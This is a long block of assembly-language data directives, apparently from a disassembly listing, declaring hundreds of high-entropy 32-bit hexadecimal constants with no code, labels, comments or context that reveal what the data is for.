dd 11126811h, 0E238E0E9h, 0E820ACC4h, 4BCC3E57h, 0C220F0C0h
dd 3DE4234h, 7ED0D602h, 2351FAF7h, 5121DFDBh, 101F0CAAh
dd 8CF39429h, 0C92D2379h, 6614A0A6h, 45788806h, 360851DCh
dd 82921035h, 1C5BB6Eh, 171ED1Ch, 29BA0E05h, 3300E020h
dd 0F8A2D55Dh, 3A93AADDh, 57800B75h, 0F50EAD2Eh, 0C5FEB864h
dd 0C3B2DB00h, 0C64CA5ABh, 95E048h, 74A3A0B1h, 0EE56DD23h
dd 9E01C200h, 1F609697h, 0DFF27Dh, 6A376217h, 0ABD3DA0Fh
dd 68438D00h, 0D438CAB5h, 0CCED007Eh, 0A690F73Fh, 0FD392708h
dd 11BC8098h, 0CB488A8h, 16E7CEBh, 0BEDF231Ah, 307E0DCFh
dd 8E005EACh, 1B4539DDh, 0F94CF6h, 0DF718C26h, 2C79999Ch
dd 0C5670100h, 0A9B76BFAh, 0C83400B9h, 0B09B0A7h, 891F17E7h
dd 0D81FAA67h, 35331B80h, 2CA545h, 0AF04087h, 0FE46B47Ch
dd 0A9EBE203h, 0ABE38E3Dh, 0AB35C824h, 2DE80034h, 0A8BE58BAh
dd 0A4131E41h, 0F0058D89h, 0F5C06DBCh, 0B1C64Ah, 0F29237Fh
dd 1EFF5E7h, 30B8CB13h, 8511E801h, 42ECC1EAh, 567A51h
dd 3F2586FEh, 0C0DFC440h, 88547400h, 0BDB1DC2h, 3C1B000Eh
dd 546D809h, 380004A9h, 1DA3EA15h, 0E4BA2ECh, 3666871Eh
dd 1A78CC60h, 210042B0h, 0DBF650E5h, 177B351h, 734ADD88h
dd 40612827h, 2A0987B1h, 0FC7D0100h, 17B3A3ADh, 0A1E60059h
dd 557EF196h, 0BF7958B4h, 3C37DA30h, 0A439BDh, 0C5D0345Ah
dd 91C3F2CDh, 0D6BD600h, 749FA170h, 179705B6h, 81E98BA3h
dd 0FE215560h, 0F9C69741h, 63EEC81h, 3D017FF8h, 3FC5AA18h
dd 0A1712CE0h, 27FCECh, 0B0926F88h, 0A7DB9EE8h, 916BB200h
dd 87BF1D63h, 3538007Fh, 0CB5B73Eh, 2100954Eh, 546E6C07h
dd 8C5DA1h, 17745EABh, 0B929C31h, 0A4C601Eh, 0D30355ACh
dd 0D8BBFF56h, 750E2EDh, 0E890F4EAh, 9BDD10E7h, 5B034CDEh
dd 0AD15BE02h, 0D9C2A05Ch, 392C90A8h, 12FA8837h, 98CF6h
dd 97FC4A14h, 9CE0AED5h, 0CC1F5700h, 0D90DE7AAh, 0B2FA00C8h
dd 3423A55Fh, 0AC0356CDh, 70E353D2h, 6309D949h, 731F5C30h
dd 94DB00BEh, 0E1712DE4h, 61006A1Bh, 0C0F9CDD3h, 0C4DB59Fh
dd 0DE593C4Eh, 7A06B619h, 5FF4F853h, 0E9110010h, 0AC92EEF9h
dd 6E004C89h, 0BF02C0DBh, 3CA651h, 0A598BA7Bh, 2F2733BDh
dd 0F52DCA38h, 0B8C8353Ch, 9F28871Fh, 0C270BB9Bh, 0CB0BD7h
dd 47F186ECh, 0B448BC3Fh, 4D52B200h, 411ADC55h, 0CF310764h
dd 40F751F4h, 0CE7D2CBCh, 22E3500h, 899AD046h, 40B200ACh
dd 217333BFh, 7500BC5Eh, 0BE3CE949h, 8E7BC1h, 35679A8Ch
dd 0AADB9277h, 0C9BC7900h, 9B39526Dh, 335B005Ch, 0D971D62Ch
dd 0C83EEF53h, 0A84703F5h, 0DB0EC480h, 969EB850h, 0B2C90079h
dd 6009F79Ah, 6002251h, 0B0662735h, 48A2318Eh, 0F10FA437h
dd 0A7C05868h, 0C2103CC5h, 8800077Bh, 46633FF2h, 0EC6C5DEBh
dd 3AD89741h, 45D424E1h, 360C1500h, 90C89AB7h, 21A50171h
dd 0C05195D4h, 0CDF721A3h, 0AC80DA7Eh, 0B5D7ED01h, 7277D900h
dd 6510E35Dh, 0A6130047h, 30E69E6Fh, 410260A9h, 0E716D0FAh
dd 9AED6168h, 15A3030h, 5E9E8273h, 0F4CD54CCh, 0C3A04AEDh
dd 67380C02h, 1B630057h, 9AE7EE8Fh, 71B8A147h, 0F90ECCh
dd 0BBE61C5Fh, 0E197D306h, 85A49E3Bh, 0FE5C2999h, 287A5780h
dd 0C4DA0E0Dh, 875DF321h, 1606F74h, 0EC173BEBh, 0A0E2F2BAh
dd 7FB87550h, 0FD00FE98h, 183E19FCh, 95702Fh, 46F9F60Ch
dd 0A6C5C212h, 19584F00h, 20D7A71Fh, 2E710037h, 272CAAA1h
dd 8800A23Bh, 6F232B15h, 3AEED7h, 563F78E7h, 0B7FFB612h
dd 970BEB00h, 1C2D6B1Bh, 4D400B2h, 404C9DD8h, 3B00697Dh
dd 92A86685h, 0A9F7CCh, 6F1E2F34h, 0C76B1057h, 98430303h
dd 0A874C16Ah, 0FE9984F4h, 2EB50073h, 1FD5EFFCh, 0CB3FE457h
dd 0A7B90010h, 0BA8EC476h, 0A8BF3E2Ch, 0B0B26F00h, 74AE7712h
dd 4B236B00h, 3E41CD91h, 1F2A0083h, 0B308F11Eh, 0A0005781h
dd 0BA87C905h, 0B9B99C4h, 6C6A1336h, 405D508Eh, 0FFC97FF3h
dd 6D01A264h, 4421949Ch, 0C7607718h, 0BA85004Bh, 9AB342B4h
dd 0A26FC9Fh, 0E000DC49h, 88E3AC19h, 8FA8014Eh, 890CD6D2h
dd 6DB0608Bh, 189D300Fh, 0A0224E43h, 69CD0BC9h, 688500A5h
dd 9520507h, 46F2BEE3h, 0FCC3DA00h, 984FFBAEh, 91275829h
dd 9E580073h, 962B1DE0h, 740082F3h, 0D4AFDB8h, 0B3B112h
dd 9ECBBECFh, 75A6B7A5h, 79AE2B0Ah, 4400B2BFh, 0BCD5CD59h
dd 2A8600AAh, 0CCD23A23h, 6200795Bh, 0FEE12ED6h, 13887ABh
dd 0A77347EAh, 0C2F7D53Ch, 0D0973FE0h, 9AB60B01h, 21E88D2Ah
dd 1CF6FEE0h, 4E92519Bh, 0E7076D53h, 31E6516Ah, 0ACAFEC89h
dd 99F99B00h, 0DC67FECAh, 58841212h, 2F00BB6Ch, 0AADFA65Bh
dd 7581011Dh, 9C255F3Fh, 40DAD58Eh, 6255738Bh, 33729E1Dh
dd 7563D646h, 8F820052h, 0FC5D1A90h, 0C8E8C63Bh, 8C484F00h
dd 34AFF39Fh, 0CED94821h, 66D49E00h, 6BE761EAh, 0A4168D02h
dd 606533D8h, 0F03B5F0h
dd 71967535h, 160044A9h, 328B06A6h, 0C6CB39h, 236915C8h
dd 0E2368EF1h, 8CE20024h, 7550BECh, 0ED241D85h, 0BC0FBD7Bh
dd 0C4A260E0h, 34C35CDh, 0E4666E08h, 0B2E80773h, 2601BE47h
dd 0E3E7B151h, 53304A58h, 90D400FEh, 87BC9BB3h, 0CA1E75F0h
dd 50DDEAA2h, 51C080DDh, 0B2787A71h, 4B0600FDh, 52AAC470h
dd 6D18778Bh, 2419ABE8h, 0C02C4C34h, 0C85D071Bh, 4880CC8h
dd 105E2830h, 613EB5h, 0C74F1E10h, 3FBD21E2h, 9D32CD00h
dd 26854263h, 9C16009Eh, 6C72C0BEh, 7B006911h, 0DDD8CBB4h
dd 145087h, 532D7D66h, 0F84A8872h, 623A7400h, 73E94E71h
dd 374612F7h, 0CF2002ABh, 0AC406AD4h, 2400BFC9h, 8E2A2B3Bh
dd 7DFA80h, 0C40CB276h, 0F3F7E739h, 6922A100h, 174AEC6Eh
dd 0D11500D7h, 340CAC3Ch, 54043145h, 0D8FE1EABh, 255609C1h
dd 0CC61D680h, 88416E0Fh, 0AE644F00h, 0B70C85A3h, 1CB01Eh
dd 0CD89AF8Bh, 542B6201h, 0F2515F00h, 0EFE94640h, 0E2D802CEh
dd 399D71D5h, 97F3BCE0h, 8130BDF2h, 3B30E693h, 8DCF0066h
dd 60278490h, 800035A6h, 0A46578E4h, 2D63AFh, 0A6ACA40h
dd 90289A77h, 56220700h, 0D4CB522Bh, 0FCCB8F1h, 9E98ED51h
dd 8AA9D80h, 29123FACh, 100E3306h, 0BB1E9ED6h, 4A871C40h
dd 0E1F89Ah, 95898604h, 77E2744Fh, 9488BD02h, 58C6CE09h
dd 0DC0F00A8h, 20998758h, 74058B93h, 9A23F4D5h, 0F8CDA183h
dd 0DFD678h, 985AFE05h, 2CB2E721h, 0D1402E00h, 0D98CF7DDh
dd 0E490F8h, 6B9D263Bh, 1C111525h, 68AC5F6Ch, 9C510036h
dd 0ADA442C8h, 600C50B3h, 42FC8E67h, 12B6B062h, 1C2C8CDFh
dd 0ED230034h, 0C566429Dh, 8E2F3E01h, 0DEB6037Ch, 732D8h
dd 534C2B36h, 60F01F6Bh, 8100DCB8h, 0BDAC1721h, 7AB8C4CDh
dd 0FCB0A0h, 5331A6BCh, 0EDCE3257h, 0E1AE5805h, 0AC80D1CDh
dd 1608B3h, 39EC765Fh, 0AD61FCBh, 0A78F6E00h, 0DB8107B5h
dd 0F4410018h, 9B1234F1h, 9C0031DDh, 73B5BDA9h, 0B700EC7h
dd 568A2BCh, 0DA6DF860h, 137A0F03h, 0F8E4F2FBh, 0FD8092h
dd 410CA268h, 0EDDF258Bh, 0E5C30F00h, 0AF08C1E0h, 192E0027h
dd 0EE33227Ah, 0C008FDEh, 931A0BA3h, 0A487CAh, 65208B5h
dd 30AC814Fh, 0E00C2490h, 7A6E4A5Dh, 1A9E410h, 16963767h
dd 60ADD433h, 84012984h, 4809B46Eh, 92C8208Bh, 0FD4B009Ah
dd 0A9148F59h, 2C1F73A4h, 3A00D162h, 64AC71BEh, 4DE90077h
dd 82803DD7h, 1500E5A9h, 84CDC0D8h, 3FF2D486h, 0DCAEBE11h
dd 0B21E4Dh, 0E817A8B9h, 0D6043C50h, 3965D094h, 468E6980h
dd 64B900CBh, 0F216054Eh, 0FB506860h, 311E44CBh, 2040976Dh
dd 55708361h, 7B947553h, 35ECB6h, 5A3F2D56h, 5DCAF12h
dd 0B5E44F01h, 3EE55838h, 0A5E82C80h, 0D880D6CCh, 15001973h
dd 0BFC59327h, 96EB33h, 44509725h, 22CC8BE4h, 20A85150h
dd 0B28EBB14h, 0D9630978h, 57FC0FFCh, 2E670800h, 4E6549h
dd 4FA10D34h, 0D2793AA6h, 0D4053600h, 6E5A0A97h, 1C109438h
dd 68C24184h, 78AEB840h, 6A46006Ch, 0CDC5EE23h, 1657FADh
dd 813DAADBh, 80BD9D6Bh, 0CF30F818h, 77F27A5Fh, 4A180425h
dd 0B016682Bh, 580026E4h, 6B8335FFh, 0F81385h, 33B4869Dh
dd 0A938101Ah, 0FA4B9E00h, 8072E575h, 914100CBh, 0E456284Ah
dd 20000125h, 0CEC71CAh, 3F73A766h, 8F0053C9h, 2F4741F3h
dd 9600D19Dh, 0C15E5144h, 1A51468h, 0C6496207h, 87525D86h
dd 6EA0A3D1h, 0C9179220h, 832C004Fh, 3A93011Ch, 0C43FB4FEh
dd 1BD080D9h, 5902112Fh, 0AF5A04B1h, 80D4F6DBh, 7146E08Bh
dd 55CC3D00h, 34A64DF0h, 0DAB90093h, 44D42D48h, 8A0022CDh
dd 8C638838h, 767E421Ch, 196D3D1Ah, 0C9DC3E00h, 0FD45781Dh
dd 5C23416h, 0E82A1083h, 4CBF7622h, 0FC006D1Bh, 0B7C3E65h
dd 0C6589C4Ah, 0A1380222h, 0E0C0E025h, 3C5BD4C6h, 0C800065Ah
dd 0D489291h, 7600B47Ch, 0F7AF2439h, 5C862CB8h, 0A1001B7Bh
dd 0F664EC9Ch, 87072DE5h, 281C06ADh, 0FF50AEE0h, 7C9CC8h
dd 29C2F49h, 0AD2696CAh, 3D4833h, 20516682h, 750EF99h
dd 3D8D110Fh, 71C1507Bh, 0ED00584Bh, 0DCA654CCh, 985D1E65h
dd 8BCB0038h, 5EF0F737h, 0C10CAC16h, 404D9438h, 5C582EE2h
dd 0D3E70018h, 0F3B4040Ch, 83AE7E00h, 755511CAh, 85A70077h
dd 69E48749h, 530559D2h, 91B48323h, 1E575BC0h, 0BA200017h
dd 703D9862h, 9F03E356h, 7BCE2BB4h, 2607F5Eh, 2E7A096Eh
dd 0DBC0EEC8h, 500C48FDh, 90823711h, 5A2B00B7h, 7BA65324h
dd 9A3FDAABh, 5D000D8h, 67F15D0Ah, 0BC970051h, 779AA26h
dd 0E705B929h, 0CE8B9430h, 4E8C9C02h, 0CA9BE09Dh, 0D769002Eh
dd 0FAF20F18h, 0A718785Eh, 28604FD4h, 0F671D0h, 0AD726E41h
dd 0E161BBC1h, 1F0596F4h, 91406979h, 0F04C6C0h, 1ED10084h
dd 44FC012Bh, 9A003521h, 0B39BAD07h, 2EE764Dh, 1C0FBBEFh
dd 60F05D47h, 9C4F9E02h, 704A6F97h, 0F91F005Ch, 8C54A9D2h
dd 72006A45h, 7AA796B3h, 0A359157h, 0C807A308h, 241CE0h
dd 9F51AADEh, 0AE00978Eh, 424DC647h, 13012A5Bh, 0FE1F3Ah
dd 26414D8h, 1C1E4F6Dh, 0AE8B91A4h, 5E000B1h, 0F8738C3Fh
dd 49700FC8h, 0EF2C046h, 0D9B30E74h, 6EA8501Ch, 1A0A0986h
dd 9450B996h, 79C9873Ah, 0E2743537h, 0D83360C0h, 4D14779Bh
dd 2100741Ch, 47E4FFAFh, 0F9EEB6D7h, 0CF37A000h, 30B7FA63h
dd 9F9100DCh, 0C41D78DFh, 0C3183E64h, 32E88269h, 7C7678DBh
dd 7EC2004Eh, 2DDF411h, 9500FD2Bh, 0E0AF0646h, 4822713h
dd 72F55891h, 0FED8B022h, 62789F00h, 0EE642E7Bh, 13A40059h
dd 810CAEA6h, 0A3039496h, 1EBC6E34h, 25F8010Bh, 0A0EB7C7Eh
dd 359860C3h, 0D4314800h, 3E43A88Ch, 727B004Eh, 0F9EE6365h
dd 0ACFC4690h, 7E00BCE0h, 421F39FDh, 0E060BDCBh, 0F3E2671h
dd 9BF50BA6h, 0D7614C00h, 0F81E5A0Eh, 7CC0A119h, 0D858CE51h
dd 90D10049h, 1853370Ch, 0B82EA80Dh, 4001E9Bh, 67BEC940h
dd 95CA0597h, 0B06218A5h, 5400AC04h, 0D1486092h, 10509E1h
dd 0D81F5EB2h, 2EFE4BD9h, 0B830C6B1h, 0ADE66Fh, 5B5E02C7h
dd 0F76DB34Ah, 0A3654200h, 10F9915Dh, 74E32EE1h, 99001E8h
dd 0FCFB83BFh, 6C6064D4h, 0C08A2D98h, 0A114000Bh, 58F559C1h
dd 4B01D62Eh, 0CB41A380h, 9AC10A57h, 0FC1A43D4h, 0F0810335h
dd 42BAFB6Ch, 0C6A620C8h, 0ED67800Bh, 7BFB813Ah, 16D09635h
dd 0BC9300EBh, 1985F0Eh, 0AA0052BAh, 0A5BDA6ECh, 0E6CD5785h
dd 3EF3F01Eh, 0D69FB5A3h, 15AC01BEh, 0F4AA4A8Fh, 392EEF50h
dd 620ED466h, 50009270h, 45CCDF16h, 34784Bh, 99144EE4h
dd 764C81C8h, 353E1AFCh, 25A60E28h, 78B8601Fh, 14FB966h
dd 2708A2DAh, 0D082A43Dh, 0F0972F33h, 568725B9h, 0F80D30C0h
dd 67741260h, 60B2E3F2h, 2F151688h, 8F3C5713h, 0B65D00A9h
dd 0BE694C66h, 18D80E6Eh, 1201F365h, 60B42104h, 100497BDh
dd 81A305B7h, 0B0C31880h, 91C40EECh, 34C0C594h, 212C857Bh
dd 5A00FC7Dh, 9D52B862h, 7CC8C147h, 0EE2800E2h, 0D7D5F5B2h
dd 2E00BD49h, 0D452C3E4h, 79DC75C6h, 7744F8FBh, 33B0B8C4h
dd 0F1893915h, 287C6BA8h, 17B59248h, 0B001F8AEh, 0DB41A2FEh
dd 40876ECh, 5EAB3972h, 808C805Dh, 835D4D2Eh, 0C2E907D0h
dd 7350D3DEh, 0C28D053h, 0F935A902h, 360F0B48h, 0A01C969Bh
dd 880C7443h, 5DE00007h
dd 49AAD5Fh, 0B9001F0Bh, 0A276A32Eh, 9069C17Ah, 7DFD005Ch
dd 0E032D257h, 22739736h, 0ECFEC400h, 4645B1B2h, 0E890049h
dd 43B42DC8h, 0E60134CEh, 0EDC7F076h, 54291425h, 0E59A057Bh
dd 84B5B7h, 0BA5193B0h, 367F172Ah, 803B9CCEh, 50183A77h
dd 45AC0CFBh, 6962CE90h, 60CB8A3Fh, 6D0FB738h, 52F27Fh
dd 2C0BC68Dh, 181D3F5Ch, 11004474h, 6292F110h, 78A7A46h
dd 0A156FAC1h, 1F9160D2h, 0AB3ABF5Fh, 0A40883FFh, 0A0707743h
dd 4D2D45h, 6C508DD5h, 860DC8EBh, 7151CB01h, 0B2E459C9h
dd 32EC60EEh, 962200B1h, 351395E6h, 3E78413Ch, 0DF009CB8h
dd 6BBAF259h, 0ACD011h, 0A1A2B75Ch, 0EFD3D941h, 548E0100h
dd 4702C5FAh, 283D0ED6h, 0BD03C4CCh, 40B74CFCh, 37D20BA4h
dd 0FA45B208h, 178E8296h, 81189848h, 0A3C00025h, 6569B2C9h
dd 0C50033CFh, 43B08B4Eh, 0F4151Dh, 774AF805h, 9CBE14FCh
dd 0CDD3D600h, 9B7F6592h, 0F5450099h, 0A98DA0C6h, 0F71203Eh
dd 8BB60D00h, 0D63FCD91h, 5589CF5h, 879C6C5Ch, 79658348h
dd 0B6F361E0h, 0A015E52Dh, 87757BB0h, 1D1B4A5Bh, 96023D78h
dd 1126B589h, 7C9EC0E0h, 0A64D1700h, 42D9DE10h, 7E8F0095h
dd 4C04E937h, 4400FBBAh, 0C1297064h, 7B9E23h, 0E166F1B4h
dd 0E6EFE97Ch, 3F7EBE12h, 0FDD06CE1h, 0EE2C2C31h, 35858074h
dd 228E2484h, 8F9C463Eh, 0E08FA045h, 525FC31Ch, 3A27002Dh
dd 0A9592E8Bh, 0B475ADC4h, 0E3B1D21Eh, 4120E0Fh, 14E81BF6h
dd 30D5F715h, 0AB72BC80h, 0AD69F243h, 0B3A880E9h, 749849Bh
dd 0A58B5741h, 64C2DE17h, 57C014D7h, 52000D3Ah, 5943FD86h
dd 0D8A149h, 0F8ABF531h, 0BF5DBA97h, 0D2881B00h, 0A61C29Ch
dd 32F3007Fh, 46E23F2Ch, 1158FC5Eh, 0F69E3C6Ah, 80DF2238h
dd 33907F9Fh, 0ECA1D0h, 0F5B1C668h, 700E572Fh, 0F3C92A05h
dd 0BCC07E28h, 3F179125h, 9B804E8Fh, 92F9F8FBh, 1C982185h
dd 5E760800h, 6728F5A6h, 29DA009Dh, 0A59C2578h, 0FBB0D136h
dd 35863Fh, 9B88FA59h, 7815B9Fh, 8A10B5A4h, 0E77144FEh
dd 27898558h, 0FC9BAC44h, 5116A3C0h, 45C500BFh, 287453E0h
dd 34797C7Fh, 69560D00h, 70FAB467h, 418601E9h, 3AFF77CFh
dd 9B5D4F6h, 1273F200h, 8B815CFEh, 239400D7h, 406E06Eh
dd 0C9001CD4h, 8A64982h, 0F963Ch, 24DD9FF7h, 2D76D5A1h
dd 0D0BE8026h, 7099F301h, 0C283DB9h, 76EADC07h, 5849C0F6h
dd 527B0BEDh, 0E734D509h, 716E84FAh, 1A8A2480h, 2E84009Eh
dd 13B4881Eh, 0B7031DEDh, 0FAA3A9CEh, 0C0F6BB54h, 9D2156h
dd 23A636C8h, 773AC4B1h, 0A98338h, 0A7ED8A2Eh, 120A27FBh
dd 0B09F09F9h, 80957496h, 0EC06D33Ch, 0A2B500FAh, 18F8CCB6h
dd 0AF071AB7h, 0FEE2ADBEh, 0A1C4A6B1h, 0A9C8E0F7h, 0D4F600D1h
dd 7EAA70DEh, 6398D2B9h, 30502E76h, 5C0F16D8h, 8692E71Fh
dd 4A049F4Fh, 0E15880D4h, 0E2128BC8h, 0F480F73Bh, 1640CFh
dd 0F68707FCh, 0D90A0D7Bh, 0A3715600h, 0E189EDD0h, 46EE3Ah
dd 6948A927h, 8AAF54C9h, 981E5A00h, 0E19D93ACh, 0F31F035Fh
dd 0B84DB197h, 0B098C0E4h, 48007C27h, 2EB486C5h, 9E2BD0h
dd 66029BF7h, 0D894DD3Bh, 70B9F102h, 48545530h, 6D6BC4h
dd 215BE59Dh, 3A91A5EEh, 88418CA0h, 9A98612Eh, 56C87800h
dd 3EA99F1Bh, 0F94C549Ch, 0B9FB9206h, 7B0070D0h, 90D2D8C4h
dd 1663B2Fh, 9E6088C8h, 2F5D024Fh, 6A524800h, 7CD408E5h
dd 4130BCDh, 0A8009E7Fh, 7C3DAC53h, 9CEC5D3Dh, 5C80F7B7h
dd 408B99F8h, 5C66B831h, 0AD000C8Ah, 0B66A4796h, 0B71C680Fh
dd 90F5E434h, 0D5005B85h, 0AF8AC29Fh, 0A83D007Bh, 0BA4294B8h
dd 5090CC48h, 7F502100h, 0B94AA635h, 0E1A200CEh, 5EDFA8D1h
dd 2530A036h, 0C8EA688Dh, 0FF9005Bh, 8B4CC035h, 0ED0E1023h
dd 45D79F14h, 8981694Ah, 54F45FF5h, 0BEC50089h, 52033FC1h
dd 7B3CFB6Eh, 7A0C02A0h, 4843C812h, 59149Ch, 769CDF35h
dd 587CF882h, 2C7F5300h, 66BD3C9Fh, 8AFA00CFh, 0F59A24B2h
dd 0D97C3964h, 21453B00h, 65A8D604h, 9C3A0792h, 50C12353h
dd 0B21D594Ah, 0E0001471h, 0B121905h, 12A6FD9h, 9641E97Ah
dd 0FCF2D479h, 0C50F9CAAh, 27AC275Ah, 5001187Fh, 11E4FA92h
dd 26470017h, 12CE75A5h, 6D0073C1h, 9A7AE20Bh, 0ADA339h
dd 1C52665Bh, 60A778D9h, 80E55800h, 190AFD4Ah, 0DCE0EBDFh
dd 0F37E425h, 99E0C820h, 0B802BA05h, 220700F7h, 21FC3BBCh
dd 60550127h, 0B1FDFE2h, 741A60F4h, 0D933B50Fh, 382E20E8h
dd 29EACCh, 247E5CEBh, 0AF2C5EA0h, 0E3DF5700h, 2F8BD76h
dd 64B5007Fh, 40B64209h, 5E0144F5h, 78FB0635h, 0CBC0C5CDh
dd 43A800F6h, 0FDAC3E46h, 60DDE2A6h, 1F41975Eh, 0A078EFE5h
dd 0A21670h, 0F69C2FDFh, 222BE083h, 0EB0024F4h, 54046C07h
dd 0E82ED5h, 0FDF585D3h, 6E3B8430h, 80FC743Dh, 2A7D5E26h
dd 0D43683h, 322844E2h, 24E1C8D0h, 48537703h, 0A019A0FCh
dd 0EAEB915Fh, 660A1DB1h, 79298770h, 0FC6EA4ACh, 0F9280128h
dd 1B889640h, 0C5B2F0h, 1D8FE02Dh, 3FD4C7E5h, 0BDA1EB00h
dd 0C9F35EE8h, 0EAD3A84h, 0DEFD8080h, 38FB44A9h, 80C27439h
dd 0F19A7F21h, 38D35DDFh, 0C680D627h, 0FB0B3661h, 0B9005ABDh
dd 45B5AF71h, 0EF8F08h, 743C5F92h, 9D018D66h, 24398700h
dd 0BEA8F551h, 0A32A03A4h, 9897B465h, 86FE4FE8h, 0F3E01703h
dd 1C6C57B8h, 0A642B038h, 9F0F0BE3h, 7EA50E00h, 0C072E7BCh
dd 1B308060h, 357822h, 4C34AD16h, 0ECFDFEF1h, 0C864EE1Ch
dd 294B8E00h, 994348h, 7414426Ch, 0B1C2DA51h, 26E01A00h
dd 0D5D2A4C3h, 270928C0h, 0CE7100B3h, 0CA3D064Fh, 1100A70Dh
dd 561A324Eh, 0F4D79A23h, 0B1FB1F69h, 0EB484025h, 5DED3E6Ah
dd 8F900500h, 0CE3391ECh, 0B5B078h, 6048AE25h, 96977CE9h
dd 5150AC00h, 8D9BDF4Ch, 4A471674h, 23140191h, 20AC194Dh
dd 46002D75h, 0EFA82E15h, 1009ECh, 41B289D4h, 0C7FA8BD8h
dd 80975738h, 20F1E69Ah, 26F217B8h, 0D5566h, 0C3FDFAE9h
dd 303DCD7Fh, 0A6030062h, 0A4C68540h, 616939BFh, 0F47CA980h
dd 0D53C28D3h, 47474C2Eh, 339F8903h, 4B59C0A0h, 213A00FAh
dd 291197Bh, 0AC001A0Ah, 6FF483FCh, 1293F599h, 0DE5330h
dd 37A2DD60h, 3C3BA578h, 7C6C00D7h, 51913A93h, 0EADF0FADh
dd 52207F1Bh, 2101327Eh, 0A001A572h, 9DD0B146h, 0F0FC44A8h
dd 0B86801DCh, 0E8EB5166h, 0F228E45Ah, 0C10DE703h, 0E8BA7C4Fh
dd 0FD0F50h, 0F36905E4h, 2331B53Ah, 8438CE71h, 9FBD00F2h
dd 0ED3FFA14h, 0E21501BFh, 0D672AE16h, 76F0DCDBh, 24C93026h
dd 0C0FF5400h, 22E6A4h, 131F332h, 0D5958DFAh, 0A0CFB51Fh
dd 6DEC480h, 78E14Ah, 68E88F8Bh, 0F7D8D139h, 0C981BA00h
dd 11B004B3h, 6E556FFCh, 0D5977567h, 4DEC80FDh, 8B009AB7h
dd 6E0CC28Dh, 0E3C311h, 5F884A86h, 7CC6C099h, 73E4D02h
dd 55B7C1D9h, 0DC0CC7E0h, 0E775FB00h, 0A516CC9Bh, 8EDA002Ah
dd 82BAE827h, 105A026h, 0CB34E2B0h, 40D77B80h, 0D961003Bh
dd 1BE391EDh, 0C30168E7h, 0A4DEAF10h, 60F8DFF9h, 0B1AE006Fh
dd 0E1032547h, 8107E54Fh, 0BB1A4EEDh, 6258AD90h, 40F760FAh
dd 0E1A5A038h, 21F4A400h, 1A0EEEDFh, 0F8AC313Fh, 2044CD20h
dd 6000469Dh, 0FB6C936Ah, 8D34D2h, 2B363F59h, 5CD57824h
dd 0A16E0D02h, 60F4B2F1h
dd 0AA88C0h, 5BAC891Ch, 8423BA4h, 0A91CE8E2h, 0D98736A8h
dd 0A010AEA3h, 0DABCC2h, 0F8C81305h, 4767F6DBh, 8C42F51Ch
dd 6021EA40h, 399569A3h, 9C802563h, 0AE84F46h, 0D17CB0DCh
dd 7C005175h, 5509724Eh, 1BEEC38h, 39B4342Dh, 0C0325CA9h
dd 0AA0F6B5Bh, 0E06F7E92h, 0F1D234Fh, 0B1584CA8h, 0C77BF31Fh
dd 70BDDED6h, 0EE56861Ah, 2841E300h, 2FC240A2h, 8EC0062h
dd 0E6FD8E63h, 49642118h, 54C0F372h, 993060h, 8EA48ABBh
dd 6AA2BA80h, 70485C01h, 57505BA3h, 4A6DC8h, 0E3EA343Dh
dd 40100447h, 0EBE6601h, 0E876DAE9h, 7D95F4h, 57415645h
dd 0AE32B96Bh, 8AEB5000h, 73F6D015h, 98710EFAh, 6A4044ECh
dd 0EAF9C9EFh, 0A928BEE2h, 0AE00DC10h, 7B7EAC39h, 2576329h
dd 0CB892EEFh, 8EC0FA32h, 5A03EC07h, 86859A14h, 92BA0FE5h
dd 0ACE0D8F8h, 637CA52Ah, 48817F00h, 2BB30618h, 0AB70070h
dd 0E02A44DBh, 2907851Eh, 0A2D90D7Dh, 8C3D0390h, 0A1503F58h
dd 44777800h, 92C3CDADh, 202C4300h, 9A497017h, 735600B3h
dd 956683A8h, 4600DC7Ah, 2EE9A2A7h, 1C98A18Ah, 0FEB4DEh
dd 0AAD3330Eh, 0FF003EC4h, 0D6954A6h, 260276Dh, 115A5FFDh
dd 6B411021h, 39FD20CAh, 0A73B5700h, 89F53782h, 887015h
dd 0B331E72Fh, 10E5A665h, 11C0648h, 0B78D2707h, 0D2EC59B5h
dd 0BD9600DCh, 26F4AA86h, 0C501670Bh, 0B94C8B46h, 13E8FCBFh
dd 0D6DA0095h, 76E78599h, 91005D3Bh, 374DE9E8h, 50E1E0h
dd 64C63EFFh, 586C34DCh, 5F7B4800h, 4F2C4E79h, 462507ACh
dd 0F08F66E6h, 55E9D3F7h, 0D000F077h, 1D3F775Fh, 0D20BFh
dd 4584F4DCh, 0E6390340h, 623AE271h, 91510071h, 88A03BAEh
dd 75CD09B1h, 14003E1Fh, 65935776h, 0C47D4C01h, 0D672EA9h
dd 0F67E0820h, 429D00C2h, 5F5B3A8Ah, 20F8CF9Eh, 223BFA03h
dd 0F840BBA6h, 1E8E0E24h, 402326A9h, 6DB0DAA1h, 0D1F0C1BCh
dd 0FAA34000h, 75E5AFE7h, 0F905005Ah, 1B4312FBh, 3E075907h
dd 4BD976C2h, 4499D450h, 64020C0Eh, 940A03B4h, 1CF9CB00h
dd 16F63B5Eh, 79297759h, 2CEF0F7Ch, 300022Fh, 57B76AE6h
dd 0F2BC6604h, 0C0C0E475h, 1B99D1h, 18F9E83Dh, 4A9D625Fh
dd 8971F613h, 0D8FB7700h, 16AED52Ah, 7288C8Ah, 0C070117Eh
dd 1E1C58F8h, 0A20E0F7Ch, 0E04293F3h, 17C1F9ABh, 7E0D133Dh
dd 0B92401C5h, 80EC121Fh, 0A0AB9670h, 2BA399Ah, 0E636469Dh
dd 0D040F175h, 18504F04h, 0E289E314h, 0E03674D0h, 13C430BBh
dd 80983C21h, 128F61C0h, 0C189F3h, 0F19EF7BAh, 0E318142Ch
dd 655E4502h, 803E605Dh, 2F3CBED9h, 2BB203E2h, 9F4589EFh
dd 0B6DB7198h, 0A9E461Ch, 1585DE80h, 11A697Eh, 9DD304C2h
dd 40880F45h, 0E99FC738h, 0B38289DCh, 409745A0h, 75C024h
dd 0BB93F85Fh, 0D3B0CD63h, 4716DC00h, 8B9D5391h, 7D223351h
dd 0B87B6749h, 6C02B928h, 0F6832403h, 0D188914Fh, 46F8AF6Dh
dd 0D4D3395Bh, 20858E83h, 0DDF0845Eh, 8777668h, 23D1D200h
dd 1D9CA0B5h, 9B5B03E6h, 1457E55h, 0BA12A5A0h, 20747A02h
dd 609461DCh, 4CF2F0h, 5EA88B30h, 0D96ADA0Ah, 0F4860600h
dd 0DB74552Fh, 820E00F0h, 16A70339h, 4E0F9EFCh, 0F82E83D6h
